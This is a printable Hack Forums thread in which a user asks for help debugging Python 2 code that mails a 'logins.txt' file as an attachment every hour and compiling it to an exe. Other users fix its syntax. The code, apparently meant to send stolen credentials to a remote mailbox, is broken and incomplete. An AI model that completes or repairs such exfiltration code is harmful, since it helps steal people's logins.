Hack Forums
[Python] Send data in email attachment every hour - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [Python] Send data in email attachment every hour (/showthread.php?tid=5616405)



Send data in email attachment every hour - ASlopaR - May 6, 2017

Hi, I want send data in email attachment (.txt file) every hour remote.. And if I compiles to exe (with py2exe) get error on line
Code
while True:

Actually code to send email:
Code
def mail(serverURL=smtp.seznam.cz, sender='', to='', subject='', text=''):
    """
    Usage:
    """
    mail('smtp.seznam.cz', '[email protected]', '[email protected]', 'OMGWTF', 'Hello Marty! :) I have gift for you in attachment.')
    
    message = StringIO.StringIO()
    writer = MimeWriter.MimeWriter(message)
    writer.addheader('Subject', subject)
    writer.startmultipartbody('mixed')
    # start off with a text/plain part
    part = writer.nextpart()
    body = part.startbody('text/plain')
    body.write(text)
    # now add an attachment
    part = writer.nextpart()
    part.addheader('Content-Transfer-Encoding', 'base64')
    body = part.startbody('text/plain')
    base64.encode(open(logins.txt, 'rb'), body)
    # finish off
    writer.lastpart()
    # send the mail
    smtp = smtplib.SMTP(s)
    smtp.sendmail(sender, to, message.getvalue())
    smtp.quit()

    if __name__ == '__main__':
    while True:
        mail()
        time.sleep(3600)



* - Riԁdle - May 6, 2017

(May 6, 2017 05:17 AM)ASlopaR Wrote:  Hi, I want send data in email attachment (.txt file) every hour remote.. And if I compiles to exe (with py2exe) get error on line

your while statement doesn't look indented
Code
if __name__ == '__main__':
        while True:
            mail()
            time.sleep(3600)



* - Pillus - May 6, 2017

Would be great if you could include the error as well? :) There is normally a few lines called Traceback, that would help out a lot.


* - ASlopaR - May 6, 2017

Actually problem is removed, and I get new problem.
I have included to Python 2.7.13 APScheduler module (module version 3.3.1)
And I will import in code:

Code
from apscheduler.scheduler import Scheduler

Error message:
Traceback (most recent call last):
File "<pyshell#2>", line 1, in <module>
from apscheduler.scheduler import Scheduler
ImportError: No module named apscheduler.scheduler


* - hunter24957 - May 6, 2017

Code
serverURL=smtp.seznam.cz

ServerURL argument needs to be a string, like so:

Code
serverURL='smtp.seznam.cz'